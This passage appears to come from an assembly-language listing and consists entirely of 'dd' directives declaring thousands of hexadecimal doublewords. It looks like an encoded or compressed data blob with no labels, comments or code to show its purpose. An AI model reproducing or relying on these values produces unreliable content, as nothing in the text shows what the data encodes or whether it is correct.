44750D02h dd 0BBB38BFh, 512221C1h, 488F22A9h, 13C5473Ah, 31BB6075h dd 0B13468AEh, 0ABFA5C6Bh, 4FFCC87Bh, 0C00392C9h, 89442CB0h dd 4189127h, 1B102421h, 1C420522h, 67A9D20h, 74151463h dd 5E0CBB05h, 0E0472C0Fh, 86454B93h, 0FD9301C9h, 7454040Bh dd 3B88EA25h, 0D04997FCh, 0C774950h, 0EC556807h, 0D66493DBh dd 68EBAEE0h, 0F11F451Dh, 140B0ADCh, 20785D03h, 0C3790849h dd 0D4F0850Fh, 8402D5CDh, 43C7B613h, 14532933h, 488C782Ah dd 60D1A442h, 0CBFA3CC4h, 2CDA108Eh, 44FA3884h, 103B0473h dd 55B8AAB1h, 5C11DB43h, 512C8F44h, 0A2031D11h, 0BA8F918h dd 0B344DC15h, 0D815F864h, 3D8FD56h, 7F407CF4h, 0F00E1E05h dd 0FC0AF376h, 0C8734E2h, 0F52DC4F8h, 0C9C5CF5Ah, 2BDB34A1h dd 1F25AC5Bh, 421FAA17h, 7A26806Ch, 0AC0817BEh, 0A3D91D32h dd 210FEBE4h, 0D213D49Ah, 4967AFCh, 0BB70A38Ch, 77C96E0Ah dd 0ABB44255h, 0AB918815h, 0C25A6264h, 72857736h, 0E2424256h dd 0AAF0301Fh, 8C06EB80h, 0E1052B2Bh, 90258306h, 2F68E011h dd 6BD21980h, 69A3A940h, 0F0612198h, 1822DE78h, 5D315F06h dd 88DB206Ah, 5AD42241h, 640AC717h, 50030CA1h, 257089EEh dd 0EBAD0B8Ah, 0E865E17Bh, 216D892Bh, 0F230CD52h, 78C1D2E3h dd 707DD904h, 0D034E809h, 4CA081A8h, 1635BBE0h, 0C9CAED1Eh dd 7CDF0237h, 906E5744h, 22A3A21h, 5722EB0Ch, 474D5169h dd 681F91CAh, 701D4378h, 0B370B5Ch, 64BC3DE8h, 8BC33428h dd 0A41F13C8h, 0FAC8F0D1h, 70F1490Dh, 0A98356C5h, 65A8EAE8h dd 8A3D1556h, 0A068919h, 0A0843A0Ch, 512244C9h, 756BBC10h dd 7A0242C9h, 0AACD2590h, 1255EF92h, 6BEBF679h, 5609CDC8h dd 0B21EE829h, 8E96DA25h, 0E59843F6h, 516512BFh, 0FD92F9C7h dd 8D648830h, 6079606Ah, 0EEF76577h, 146A2A2Bh, 8A107564h dd 89104803h, 2F4E608Dh, 643D31F3h, 0A7A01242h, 61983F2h dd 4C101856h, 1AA621F9h, 4288FB85h, 272E5DBBh, 9788AFA9h dd 0A4632804h, 59102DD1h, 0E80A6471h, 0DE27634Fh, 65DA18E0h dd 0DB910D8Bh, 2BEC1A34h, 0BE54BF3Dh, 77144C74h, 2A418D1Fh dd 30393EA0h, 3421C01h, 0F4FA83C7h, 9EB4F17Ch, 28C21720h dd 39167418h, 54A42F4h, 0A092E910h, 5069C248h, 5E0340C0h dd 10BFA4C1h, 0EBE17427h, 0A8144E15h, 730224C3h, 78104D92h dd 187350ECh, 7027506Ch, 1BF0A414h, 6DA965E8h, 13E1E5Dh dd 45889CEh, 0A34905FFh, 26B03314h, 8446D4C8h, 68515302h dd 9F436CB2h, 72888BBFh, 144D112Ch, 63858918h, 0B1583949h dd 98201C75h, 0FFA64086h, 57380D50h, 2B5D092h, 0E6A6931Ch dd 59E9BF1Ah, 0A4FE585Bh, 5F5900F7h, 88C35A8Bh, 13A2BEE1h dd 841A277Ch, 0A15A762Bh, 0D2591D3Ch, 8ADAA977h, 744BC268h dd 914B9BD7h, 68BB4E7Fh, 91015B25h, 79562F88h, 0EC5713C6h dd 2B44D807h, 0F78B90EBh, 3DF60C2Bh, 67CA4C16h, 6C2460BFh dd 89238032h, 821C7C76h, 0F6691A73h, 88A15584h, 0C6120366h dd 4D807883h, 0BF40C707h dd 0EACF08ADh, 79EB2781h, 74873553h, 785B85E3h, 19CAB5Dh dd 4F0F5622h, 2D64C62h, 921D8B02h, 335AE0AAh, 0E4BA7F6h dd 0E63D8D28h, 5051C040h, 0B834E84Bh, 8F229F09h, 0C724A10Dh dd 68540644h, 0E39C0ABh, 86A4C681h, 0D2B1FEECh, 0A8BD720Ch dd 5B59888Dh, 0D8A011BEh, 816F8C45h, 4024B492h, 3BED3323h dd 7DFF554h, 464C08F7h, 215F20EAh, 44E2A56Dh, 39461402h dd 86882DFh, 554C2774h, 0C8708B3Dh, 0CB55CA4Eh, 1BA4FE0Bh dd 0B1C64ACBh, 8ECB2F2Ch, 22098C64h, 5B12DFE9h, 24A101BBh dd 10FF5C1Ch, 8AC1DFD5h, 0FD235FD8h, 107600AFh, 0A5BBFF33h dd 83C71072h, 324CFF48h, 14088D2Eh, 0E8120746h, 67208B2h dd 8F331A2Ah, 8A535428h, 71E89488h, 39638DA7h, 7484036Ch dd 81FB030Ah, 0A2218CFCh, 15ED7BA4h, 815D2520h, 242491C4h dd 56A4C406h, 851761E3h, 1103B75Ch, 0F685A404h, 10AC2CA3h dd 9F913E9Eh, 9EE4562Dh, 0F4682C88h, 0D1423F9Ch, 8A1A0925h dd 433042DCh, 0DDF46580h, 32081260h, 0F11BFFDDh, 0DC24077Ch dd 0E73EC847h, 712776AEh, 0C9266C6Bh, 5925248Ah, 0E2072E82h dd 2A851636h, 0F35CE468h, 1A442414h, 4778F82h, 0D1E0116Eh dd 0FEC74881h, 7CC6DDD0h, 8F458A9Ch, 0EB67883Bh, 219A1557h dd 4F3791C4h, 94B31ED4h, 1D1DA321h, 963CF1A7h, 63F3F224h dd 61D3C546h, 70AF365Ch, 709B0240h, 2AE986CBh, 6BCA0775h dd 1A7B77A2h, 55186A0Eh, 0A30711AAh, 5A45F84Ah, 0B60A91D8h dd 0D8092B0h, 24BD070h, 362FE8CDh, 0EC8F6EFDh, 210B4291h dd 7C4C27F4h, 0F009A8B8h, 806C10Fh, 8771117Eh, 0E583104Ch dd 9C5C16F3h, 0D35BF996h, 24DA0EEEh, 29784CD0h, 7AAFC1A5h dd 28575A30h, 9BA87EA4h, 751FB60Fh, 10C68A18h, 16268856h dd 0B5A4F8E8h, 0FE6AED41h, 0A76358E1h, 80168037h, 3508187Dh dd 0EB620573h, 0C68BE301h, 5A74708Dh, 5949CFD4h, 0ACC3B89Ah dd 50988B63h, 4B827866h, 5A0DB318h, 7A91C6A8h, 2769012Ch dd 586BB856h, 2A897D44h, 0F4A10EEBh, 7FE9B80Fh, 0EF4F5D04h dd 0A4222942h, 9D80CECDh, 0A37AF020h, 68BB8C54h, 243D82Bh dd 0FDAC6816h, 0A1B4B14Fh, 11C4A618h, 6490DB33h, 0C9B01D38h dd 79027593h, 38D54614h, 34C33B6Dh, 8429A0A3h, 0E953FE65h dd 48D73FDh, 48813C3Dh, 48452068h, 149F1EA3h, 25642435h dd 1EA822E4h, 0C69A48FBh, 1570550h, 9C1D3915h, 0C898224Ah dd 8C64A818h, 8019A432h, 0CB2DEE33h, 6C968FBh, 0B72B2B6Ch dd 54B368C7h, 851D8491h, 0BF0A48BFh, 0FF517002h, 0E5B0DA30h dd 8C3BA0CDh, 0CB277D30h, 0C6116101h, 0FFDC07Fh, 5DA32F82h dd 6E31A5Fh, 0F44D8305h, 2ED6C7FFh, 9CD02299h, 25FBEC42h dd 1911F1F8h, 0D806E4h, 965E76D4h, 0BD5A170Fh, 11907BDEh dd 46E8CC5Ah, 0FDFBA6D8h, 1196E595h, 3A8B36E4h, 287531FAh dd 0E901DC0Eh, 84813BE4h, 7E780373h, 76FC1061h, 0EB50071Bh dd 99CC6816h, 0A308081Bh, 5FB5E98Dh, 453C007Bh, 3B475EECh dd 0E9D07D2Ch, 39D86831h, 0B6F4EBA7h, 0E4165B19h, 16701E2Bh dd 5AA4FCD0h, 0F82DA2ECh, 5C346D19h, 0C8486D9h, 51F34DB6h dd 4284F20Bh, 0E5F02AF1h, 85A1992h, 93506B28h, 9C680DC2h dd 21FB12E5h, 52EB2C10h, 0DC442425h, 8CDFACF4h, 21744327h dd 801094C1h, 883B557Ah, 0E088093Bh, 99FEB649h, 3A068A66h dd 240FCBF4h, 0A565D186h, 994C8851h, 0B5064F3h, 12F122F2h dd 0FC94EE74h, 0A2849163h, 0C641948h, 0A1EB2D28h, 0E45D0F12h dd 810C5E55h, 6E462082h, 5F453F33h, 0CBBEC33Fh, 0C098AF85h dd 9F2D25E8h, 0F76430FCh, 71ADB608h, 0C352B401h, 33612012h dd 868D0C12h, 21B01246h, 14189EF9h, 5B74109Ch, 4D4BD31Bh dd 0E13D3F3Ch, 0B7F5965h, 0BDC81047h, 1E8806CEh, 14364658h dd 83B96A88h, 24E8D929h, 2723C008h, 2A203709h, 0B8058729h dd 14ABC930h, 8628CEF0h, 37DE2BA4h, 4427C9F4h, 452C5826h dd 2CB43DA8h, 0AE3A0457h, 0CB3B7D72h, 8ABC77B0h, 0BDCE15Dh dd 127E9C43h, 0E536E953h, 2A9D3F27h, 80D8C2Eh, 5BD71144h dd 0DD56A99Eh, 1CAA0E12h, 9351E7BFh, 546D531Fh, 31FF624Ah dd 8468541h, 0D8204E3Ch, 0ECD6A32h, 0AF302570h, 94C54F63h dd 0F956AA11h, 625855ACh, 0C0320709h, 5342917Dh, 0C688992Fh dd 429D6CC6h, 9ABB5D37h, 9DEB881Ch, 6C867127h, 0C64BBB82h dd 0A64875A2h, 31B2A888h, 48C55DEEh, 9FC6B38Fh, 0A28B9063h dd 0BD802282h, 9D5A268Ch, 6F742784h, 41C07312h, 1AC5E349h dd 42AF3B80h, 147408B2h, 16D91355h, 0E6A03D28h, 14033E73h dd 875D0FEBh, 13D1D83Bh, 99556468h, 66279CAAh, 2D4A1F43h dd 88F28841h, 68B0FFAh, 458CA1Ch, 0DB84B30Bh, 5D5BA09Ch dd 17BFBCE7h, 0C604B396h, 0D1AB3202h, 50D1E84Fh, 0C38A59FEh dd 0A8C6ABB9h, 0AB51B589h, 0FC58D631h, 0C84F82Dh, 9CFE619Dh dd 28971759h, 5BDEB384h, 111B4DC3h, 4AFD5C26h, 46A06361h dd 1E5CD408h, 0B5D4DF0Fh, 6A347E2Eh, 0D984CDF6h, 6E419DEBh dd 8A8662CCh, 3B056A2Bh, 26BBE79Ch, 52497B75h, 9C812D10h dd 0D6A07FF1h, 0A877EB82h, 110E911h, 209C6A84h, 93571CEBh dd 0DC6809DFh, 0B154C319h, 3D770C2Dh, 7D5F7352h, 4238BECh dd 9C4E8A02h, 18F7C98Bh, 8C46BC8Bh, 5C77A722h, 0C54493BBh dd 0B3669518h, 28A3084Fh, 0BD168A1Ch, 0C30C25Eh, 2DEF0455h dd 48282A0Fh, 4119EC18h, 64D1743Ah, 863F2019h, 231E0A98h dd 0FA821775h, 2057C30h, 1E2C7E39h, 46400424h, 83B0C7EBh dd 38EB1E55h, 8D17620Fh, 7DC25678h, 723D4AAAh, 0E77509A0h dd 4560638h, 9232EC8Fh, 28686611h, 0C406953h, 75AECE0Eh dd 0BA28DB9Bh, 6745694Ch, 0EE4F26Bh, 8CCA3A5Eh, 0DD412436h dd 7E5A46C3h, 617A0A0Ah, 0F7A0E40h, 0D98A097Fh, 3A20F381h dd 0FA8852DAh, 0F922AC13h, 0A827AC13h, 8A7CA8C4h, 0AB5B4487h dd 16A7920h, 58C90185h, 0C83B0C74h, 0AF0FEC7Ch, 490499A0h dd 329559B8h, 26AD5083h, 4061F0BEh, 0DB33E87Dh, 2C66A539h dd 71A758A4h, 3E808BC1h, 8A11C200h, 78C20146h, 0D75B783Ch dd 0EB58D607h, 0E23CFFF6h, 7F9AD6CEh, 0DF4FED66h, 754E5086h dd 2B750908h, 88504FFBh, 25A80F48h, 41CCD030h, 0E6FB219Dh dd 7CF4D868h, 39120D62h, 0F504F57Fh, 32B5A4D0h, 30DD1AD0h dd 7F660A52h, 558A154Dh, 0A14AFCE8h, 0B1B53A3Ah, 2BD3FFD3h dd 0C27825D8h, 4077F562h, 0C50B0421h, 0F8518A59h, 0EA9850BBh dd 0E80A68B4h, 0B2A0D43Fh, 0F00128C9h, 0CFC8D863h, 54944F59h dd 8E7C993Ah, 0F63EF816h, 2BA84B45h, 59E4B882h, 9ABD5F68h dd 36241ABBh, 26365827h, 68172BBAh, 0ABF327ABh, 0FC9A1789h dd 3219C473h, 45C89108h, 0BF9EC53Eh, 67289B5Bh, 0C81D34D3h dd 0FF530644h, 693DB54Eh, 2032594Fh, 0A974894h, 64104646h dd 7CE90D8Eh, 3E910A12h, 12753B14h, 4CFF468Bh, 0D4402A4Fh dd 9CD48184h, 50C00998h, 10B9CF61h, 68760CA0h, 830C53D2h dd 8B09731Ch, 1D9C3816h, 76063AADh, 8AE5EB04h, 0C93208E1h dd 59D2207Ch, 78AE12B5h, 8B215C36h, 50ACF0C8h, 6BB48E9Ch dd 20962126h, 0E9144EE4h, 3D7F07F3h, 0CA17C4D8h, 0CD9B088Eh dd 28B4A6A1h, 0E0E91031h, 21CC1F52h, 3FC8850Fh, 0DC516BB3h dd 29BDE16Eh, 114073F8h, 99009E68h, 11FCA550h, 843A0AE8h dd 0FA0C6164h, 12B63F98h dd 3FE0073h, 0BC8D367Eh, 2FC61D35h, 9895C868h, 9B9E2F76h dd 1E14E6F3h, 1F88862Eh, 0DCC42960h, 4BBE443Ch, 61DD2E59h dd 99046AC6h, 0F6F9F7E4h, 0C82B1DCEh, 1A6BA881h, 0ED4D870Fh dd 72D02812h, 0D2B6F29h, 8B518E64h, 85DDA02Ah, 28D08B92h dd 16C8ED56h, 0F3A4688Ah, 98CA104Eh, 229264D4h, 0C461175h dd 301041EFh, 32CC3D08h, 0C44013E6h, 0FF294680h, 6D844E8Ch dd 944921D6h, 0CA9D2127h, 5F859AC8h, 9838FFF7h, 8A1042B5h dd 89422850h, 8B1A4727h, 0B6792B5Ch, 0CD89ABA3h, 0C80CFC2Ah dd 359C62FEh, 786825A2h, 6629E90h, 7511F984h, 22882514h dd 0CD20842Ch, 10168E91h, 478A5808h, 0CBF20C45h, 0FB863733h dd 8579D34Dh, 0BE0C6A06h, 6BF1B1Ch, 9F4BA095h, 56ADF02h dd 112954C2h, 6F1C9C8Dh, 0C45E85E3h, 2074C0A6h, 104845C7h dd 0E8A481D8h, 51C3386Dh, 347BDF3Fh, 532323BBh, 8B65ABEDh dd 15D0BAECh, 63835089h, 5B4F07E8h, 9137C222h, 0FCD21036h dd 53EDCE09h, 86EA62Fh, 0C3E72017h, 74742740h, 37D52D1Dh dd 9320D724h, 149E8C4Ah, 11282089h, 1D8C7EE9h, 593BB8E8h dd 6A0514AEh, 4DE4BE07h, 1BD8BD32h, 5008B440h, 40CAA3A1h dd 0B95D8827h, 1808B4A0h, 0C4D23388h, 0CD0E1C12h, 0AF9CDF95h dd 0BD8031C4h, 0C00C05B4h, 5F186A55h, 601B60Fh, 8B57C803h dd 0A22099C1h, 0FA4F588h, 4D84BC44h, 0BBD6791Ch, 15843245h dd 0D01E4F1Bh, 140D4488h, 5EBA79A0h, 0BB34E8C6h, 0AC7D26A2h dd 58DDC4D7h, 0C68F7956h, 8C2DD787h, 91EBD10Ah, 0C53ECB08h dd 9638E88Ah, 0CA545F7h, 2A64C61Eh, 8AA0EA9h, 0C1C81CCh dd 0D24084AFh, 0B442860Eh, 15E1D820h, 1A40EF0Bh, 84F17CC1h dd 88047DE9h, 0E6A8D4B0h, 88904875h, 194B8C0h, 48835D38h dd 4CB1D474h, 63E0645Fh, 2C29DBABh, 74811491h, 632DE80Ah dd 7A4D2D91h, 0D15F2C2Dh, 1E176536h, 500D9416h, 4523C421h dd 91826988h, 0B832641Eh, 84190E52h, 0BE080F11h, 7D84B094h dd 8B16D0C0h, 39F2015h, 698CBE50h, 0B7F2225h, 8AB587B9h dd 80BF06CFh, 0A3A2521h, 9B822FF0h, 51B3CD8h, 142170BFh dd 5F50BE12h, 0A218EE7Eh, 3097C42Eh, 0A1A0363Bh, 9DC49FD0h dd 4BEE2556h, 716157ACh, 0A358C305h, 0A787D0B6h, 2F0A1647h dd 135D342h, 4809B4E9h, 0A28A1090h, 0E51476EEh, 0BE10126Fh dd 50895B29h, 0D1A2C4ADh, 0F5130233h, 0A91C280Bh, 398BD474h dd 5453C0BFh, 0BA18404Dh, 3449991h, 4CF82F84h, 8C2B87A4h dd 0CA9EC01h, 8ADC0C1Fh, 7342D3C5h, 480D25A7h, 758CD037h dd 53FFB71Ah, 29842270h, 7DEB4A9Fh, 4522C095h, 181F1999h dd 0C844C09Fh, 53C7A6FBh, 0F6A144B0h, 0A79D528Fh, 22A044A4h dd 0E461EA2Bh, 909B80DAh, 6CF5820Ch, 8F1C2A35h, 0BE61992Fh dd 0E91B0FB1h, 905552A6h, 40C1011h, 6201E83Fh, 110C5A31h dd 0F16F0984h, 4A1A092Ah, 9386195Eh, 6C523B43h, 65F1278h dd 4216DEB0h, 0B109486Ch, 4995F04Eh, 64214515h, 9AF80F12h dd 1954589Dh, 150F4E9h, 56844817h, 49855A17h, 0A5C64475h dd 463C220Bh, 0CA85457h, 9C438630h, 90902421h, 787314CAh dd 7BC8763Ch, 12116EA2h, 3284475h, 3A266274h, 54538F7Eh dd 5D0B820Bh, 89115B2h, 0E84934E0h, 34D7C920h, 0FF256CE9h dd 1446D334h, 439992ABh, 4BF0111Ch, 7E382326h, 10797225h dd 0AB2CE954h, 952FC2Bh, 0DF4FA1F3h, 3139101Bh, 0D1A55F54h dd 5D1091E0h, 0FB7F4A4Eh, 0AF68A8Ch, 43E86387h, 57502914h dd 2295160Ah, 0D7D948F9h, 0A3914657h, 143166C5h, 0D32A36B4h dd 9894F84Bh, 99E61C3Ah, 32278A91h, 2828BC7Dh, 0BFD82553h dd 1C81C8F0h, 240909A6h, 50454695h, 754F0C0Fh, 4D02D8DEh dd 998C32Bh, 0EBA9B862h, 0ACAD8474h, 8B537541h, 47A9487Dh dd 0A672186h, 691B60Ah, 6C4DD6C9h, 56884F30h, 9E7750FFh dd 9D21952Bh, 0D2301C88h, 682914CEh, 918DA090h, 8AD94113h dd 57E96589h, 8050E764h, 8B51305Bh, 5822BD0h, 6BF94C1Eh dd 3E16266Ch, 95136129h, 9F7E986h, 0DA1F8B71h, 0C8D3788Bh dd 0D476070h, 10A924A8h, 0D6E913EBh, 4B549C31h, 0FEE1962Dh dd 0A58012ACh, 3172441Ch, 0CA511C6h, 59938438h, 21C6F2E3h dd 28954C3Fh, 6636E150h, 0A430B952h, 1D221C1Ch, 0EC8A1004h dd 4EC6E952h, 0D77C83F1h, 4B102C84h, 0CF225CE5h, 1B286BF3h dd 131F4028h, 0F04C611Bh, 1382114Ah, 8083F47Ch, 0CE3836EEh dd 0E41142B7h, 1F46264Ah, 1327ECACh, 0BFAF2D00h, 0C97765EAh dd 8B03901Bh, 5979B652h, 0B4D35AF7h, 0A0E8B156h, 18940DBAh dd 0C24B4790h, 5584D89Ch, 999C5A2Dh, 4E42CC36h, 0A145161Dh dd 648285B4h, 0CC9EC240h, 2509C005h, 22931B16h, 79A07E46h dd 25894AB8h, 42AC11FEh, 6039291Eh, 0D25E808h, 0B017CE90h dd 254E6428h, 0C4B0A850h, 48D42E9h, 273184EEh, 1132BB57h dd 71748A2Dh, 5240BC39h, 691F2282h, 0ED528450h, 9AD8E927h dd 232F34F8h, 0F04707FEh, 106762E8h, 9032A924h, 22551411h dd 0A0CEC28Ch, 0AB95E922h, 4222EC1Ch, 0F7074B9Ah, 0ACD22B39h dd 1680B828h, 7C690577h, 34E20E0Fh, 0FD8F84D9h, 0DF17A81Eh dd 0EE93D2B4h, 40593C31h, 2E41A3C9h, 4A527EE9h, 3EC71258h dd 0A964443Ch, 1A084C19h, 0B2F6709Dh, 24536B69h, 4468FE38h dd 0F4F557A0h, 38113091h, 8856386Fh, 0CA92C36h, 86240CF3h dd 1822E743h, 0BE4D7532h, 0F6CEF79Ch, 4F6FE5B7h, 2D1EE9DFh dd 1A544156h, 87DC860Fh, 228DC67Fh, 53461144h, 220CAA64h dd 69A94E26h, 75C14BB7h, 0DC7E8B50h, 485E1C49h, 0CF8E4803h dd 49CC84D0h, 5E80A43h, 8A9DD2C4h, 0B2C49599h, 0A4317225h dd 2532B80Ch, 0CA14B019h, 0A388634h, 1F185493h, 0DD2BA8A4h dd 94548405h, 4286D10Ch, 5385388Ch, 5E3912DDh, 0F84F38ACh dd 82744892h, 881C458Dh, 0A720B5ECh, 66AD719Dh, 0C0C94B54h dd 0A728551Ch, 0BF840EE0h, 844EBD16h, 688026Ah, 0A2F64B1Ch dd 0D220C8B8h, 9823A07h, 4482EB0h, 268858B7h, 89E92A75h dd 0EC251838h, 1AF42788h, 851123Ah, 2786401h, 741ABD0Fh dd 64C26164h, 95187517h, 1440112Fh, 0A218CFEBh, 51521095h dd 68C3EC9Ch, 9029620Ch, 14100EBAh, 24F99B57h, 0E1BF688Eh dd 9FFF4685h, 0D9A57503h, 2FE98853h, 497404A5h, 8157E49h dd 75E32011h, 7BE56AFBh, 0F9AC6FF1h, 5A49244Dh, 1E38E851h dd 0A40DC765h, 6AE3415h, 0E748E427h, 42FA0F59h, 68BB6224h dd 9E1382C8h, 7B9A64FAh, 2B8589B8h, 116270A5h, 46790CAh dd 0AD8BDFE8h, 0CE0A2CDAh, 4808604h, 0CD3476B3h, 688E0225h dd 45AB48B0h, 8808FADCh, 45746A8Eh, 3412089h, 48068AC7h dd 0F04D88F7h, 0F1F8400Ch, 0F2645DF2h, 0F30CF912h, 0F481FA0Ch dd 20F51E90h, 0FDF640FCh, 0F802F781h, 0F90FFE04h, 0F2FF40E7h dd 0FB8FFA45h, 0FB26502Ch, 8B55E827h, 0F2A96309h, 4A8385F6h dd 4F30B32h, 1178773Fh, 4C749734h, 5A48B4C2h, 0D3D2554h dd 0E9134444h, 0AA8C03D3h, 21E3A464h, 5810F9BBh, 0E88AB8C8h dd 42A7C32Eh, 6AE80283h, 0EAE4FD10h, 1C605DF8h, 1DE823E8h dd 4361968Bh, 2832C766h, 24094A02h, 6F34122Bh, 6FDD0BBEh dd 0D64BE474h, 2A253CACh, 0A672E6D4h, 0A946697h, 0A7A1E8EEh dd 0F012B38Eh, 9A89F9A7h, 8B2EB97Dh, 0C4BB6AFBh, 62FE257Ch dd 236EC16Bh, 450E7EA0h dd 400F9120h, 2DB8326h, 8A9FE82Bh, 72CA6AACh, 25EB9B4Dh dd 4C10F23Dh, 7416277h, 25A3B16Bh, 0F7C40876h, 3821F842h dd 0C6C2841Ah, 5E0C8941h, 0C28A200Ch, 5000D1D5h, 9A916E6Ch dd 25C5E98Ah, 21311895h, 0C0C951Ch, 4901021h, 2101F3C4h dd 0E70847F8h, 75E84486h, 0E0803750h, 5D0A11DFh, 0D2A0E1ABh dd 6450C396h, 0CE2D843Bh, 0ACA8790Bh, 99619856h, 1C2EE856h dd 559534AEh, 47D41257h, 0E119288Fh, 0C3C33DEh, 717488CCh dd 44C010C8h, 0A8B80869h, 2212699h, 0A614797Ch, 819111Bh dd 2140B12h, 47B468EFh, 8DC56E82h, 0FE94132h, 0CCFEE254h dd 894E3964h, 47A82621h, 2D7F8E33h, 0B9F68D96h, 0A0D188CEh dd 0A3E82026h, 463E92Ch, 74C5FCAEh, 68910ABBh, 12AE2835h dd 5F03EB1Ch, 9BF595FAh, 0DB53BF27h, 0C89CF71Ch, 0BE27F6D0h dd 0DE13D251h, 0BF4CE2A9h, 0CF8FC13Ch, 0CAADF1F7h, 1975EA3Dh dd 2793F8DDh, 0E271F8CEh, 39B649E4h, 6182E064h, 18E8E95Dh dd 599EB7DFh, 7EA1946Dh, 73181B30h, 43FEB229h, 1032C2BDh dd 44F4F613h, 0F9254321h, 5589606Dh, 0D82D8B1Ch, 6004258h dd 65A94D9Ah, 1D082010h, 1840600Bh, 2EB8414h, 931B75E4h dd 51F81227h, 0BFF9B492h, 5A559156h, 0DFF3966Eh, 9D561027h dd 10571843h, 1056E408h, 200951F8h, 48183468h, 4B840A18h dd 5F3CA838h, 49B39B2Ch, 9C29A0DAh, 0D5F76211h, 68438B24h dd 6A758FD0h, 7550AE4Ah, 1055DF1Dh, 9D11047h, 6AEB1480h dd 4649F868h, 0AD2138Ah, 0F97639AFh, 1ACD380Bh, 535B80E9h dd 0F9A7671Dh, 379604DEh, 0D63827BEh, 2BF865A0h, 317C23BCh dd 0D883656Ah, 0E8190AF4h, 6F595BDBh, 886E028Dh, 0F95080B5h dd 847E07F5h, 9FAE64B7h, 5418EECh, 5A279920h, 848CA603h dd 23638731h, 78C1115Ah, 123B50BEh, 5B00E678h, 0D0920B05h dd 7481DBADh, 0B3388043h, 18F899A0h, 75FE793Bh, 55DA3068h dd 50A0748Dh, 86D044E8h, 4018D811h, 624FAA14h, 6F8557CEh dd 2445424Dh, 317FB9EBh, 0C57A5D4Fh, 5E0DA8E5h, 0D4B299E8h dd 0A6105355h, 43114529h, 283E80A1h, 13F8CFCFh, 0B8696846h dd 0E29202CFh, 0C8C55D86h, 5BEF4433h, 12E2F8DFh, 25BF0148h dd 0A6C4AFC3h, 971A11FEh, 0B4882C22h, 4282CB51h, 7F0F1239h dd 0CC556A22h, 8068B08h, 8693B4BBh, 0B8534026h, 73B6CF5Fh dd 50939E64h, 4D8DA0DEh, 85164ACh, 5CC4FECh, 3202A468h dd 468661E8h, 0B42BE7C7h, 92B77563h, 1A225C9Eh, 437C2B46h dd 16ACB23Dh, 0FAA9293Bh, 8EB6AE75h, 5B2015CAh, 34628CA2h dd 6DCE8A29h, 18B28429h, 29529C95h, 758F1811h, 0DB996513h dd 0C93B0D89h, 0E9E72039h, 21278953h, 0E3EA9F90h, 90BF0789h dd 0A170EB5Eh, 0CF0C881Bh, 5298BD85h, 53EB84D8h, 0C7C1BA1h dd 0F80887B4h, 883890D3h, 38996470h, 1DA3443Ch, 7E0CE384h dd 46899D8Eh, 0A444A490h, 8ADF0F82h, 0AC51D2F6h, 8947571Ch dd 3FE2AC88h, 0C7211689h, 1CAC71DAh, 0BE908518h, 0FD39ACA2h dd 802316DEh, 0CAAC11D7h, 26511BE2h, 8EACD25Ch, 851BC752h dd 0D262A26Ah, 88C23BACh, 22C2E914h, 4829A372h, 0AB646871h dd 8174D41Fh, 94FE3B75h, 0D9A79D46h, 710C6038h, 8184088Dh dd 55325CE4h, 76044014h, 58186950h, 0C43D4386h, 88215172h dd 87250849h, 45397388h, 0D304854h, 80217778h, 53595008h dd 0CD22102Bh, 65E90C82h, 0FC4F19E6h, 0AD2F7AC3h, 0BD0211C8h dd 564EDD6Ch, 100D83F9h, 2A2BC6E8h, 1A85ED0Ch, 85D0B149h dd 0E9835FE8h, 5038CB41h, 4F73BFC6h, 0F5C84789h, 0F8184391h dd 10BD8486h, 0A0B3F13Dh, 1757145Eh, 0BA4FBC68h, 228D8F62h dd 16ACDBB7h, 0A112C3C0h, 97B89D44h, 0C805ED5Eh, 0B8BF0608h dd 7425229Ah, 20777A3Dh, 0E8139C38h, 0F9E482ECh, 9404BD0Ch dd 0F0E71D05h, 93D8636Bh, 6D0538BBh, 82D0E853h, 5A2B1E8h dd 0FF5CEB22h, 55EEC964h, 39F63309h, 149ADA1Dh, 7B80D74h dd 46F0B04Bh, 75183901h, 2268E8F8h, 0F7F6403Eh, 52348DF6h dd 0FF82E0BDh, 111DA2B6h, 20168666h, 5B0C2445h, 0B68B8875h dd 7A3E2851h, 92895E2h, 0DA96989Ah, 3110D629h, 36832345h dd 300D3F4Ch, 0F3BD397Ch, 0F2DC2FD3h, 0B38838E5h, 0FDC82585h dd 0E022BFC6h, 600ECFFEh, 0D5E809D1h, 806E18B7h, 80E7A43Dh dd 0A2BE20A1h, 2F6CC008h, 1D838A23h, 0B725501Ch, 0C9342E1Dh dd 0A2EF71E4h, 740AA0CBh, 0EDDBB57Dh, 9F4F0E94h, 50110E68h dd 0BA960CEBh, 81C2DB61h, 0A3EE5006h, 0E11A58Ah, 6CB18164h dd 0F4FB2A0Dh, 22F1FF27h, 12595298h, 21A1A777h, 868C207h dd 4938A90h, 0A2894695h, 0CB934078h, 8B118201h, 0A1C7911Fh dd 59FB15Bh, 0C551B808h, 7406046Ah, 0F849A7E9h, 8DD7583Ah dd 0AAC284F5h, 730CF000h, 4F1AE83Ah, 75F8F4BAh, 84083149h dd 23B94468h, 8810E815h, 2D851952h, 70C2822h, 2432055Ah dd 33508232h, 974C52B9h, 0CBC46F82h, 68D44389h, 4681D30h dd 9194B950h, 0FAA27180h, 0E4F7A36Ah, 0C13B16F9h, 0B4960F76h dd 4F9F5CD1h, 0FA53A90Ch, 5A65EC08h, 3864A6CFh, 0FE6B69BBh dd 4FFC0B55h, 0F8596154h, 6A571984h, 4622EE24h, 85C72150h dd 818E6F4Ch, 1F208D7Ch, 0C5F0524h, 25541432h, 7484EC01h dd 5A755E73h, 0EAE8410Bh, 897E641Fh, 210DDE0Ch, 0FF7EFA31h dd 0E0834803h, 2D679F2Fh, 0CBAFBEA7h, 62807453h, 0C46B5D6Ah dd 0E6E5BABh, 0A71B25Ah, 2A084FE0h, 24F28052h, 0D0085C34h dd 745B828Eh, 455EBE3Bh, 480E6894h, 7FE9130Bh, 210C1121h dd 5046880Dh, 1974898Fh, 68144C79h, 0C738650Dh, 20EA2244h dd 61467535h, 2202D09Ah, 0DDB0D457h, 0F67F9C09h, 12FD69E1h dd 56DB646Dh, 0E80C041Ch, 354FFC76h, 993D91B1h, 0BF14A82Eh dd 0BD2FE932h, 8F663DDEh, 1ABE58B7h, 1584CC99h, 603AC9EFh dd 15B2013Dh, 0A5C7984Eh, 354DA365h, 40943531h, 30CE862Bh dd 38143D6Ah, 0D4E7512h, 2102505Ah, 84B32B00h, 82465525h dd 80FD810Fh, 7D0F1CCBh, 5FC50A06h, 3A483045h, 1055A12Ah dd 1FDCE143h, 8EDD608h, 0A9EB3420h, 9BD8AE3Eh, 0B23FE359h dd 71D75EFCh, 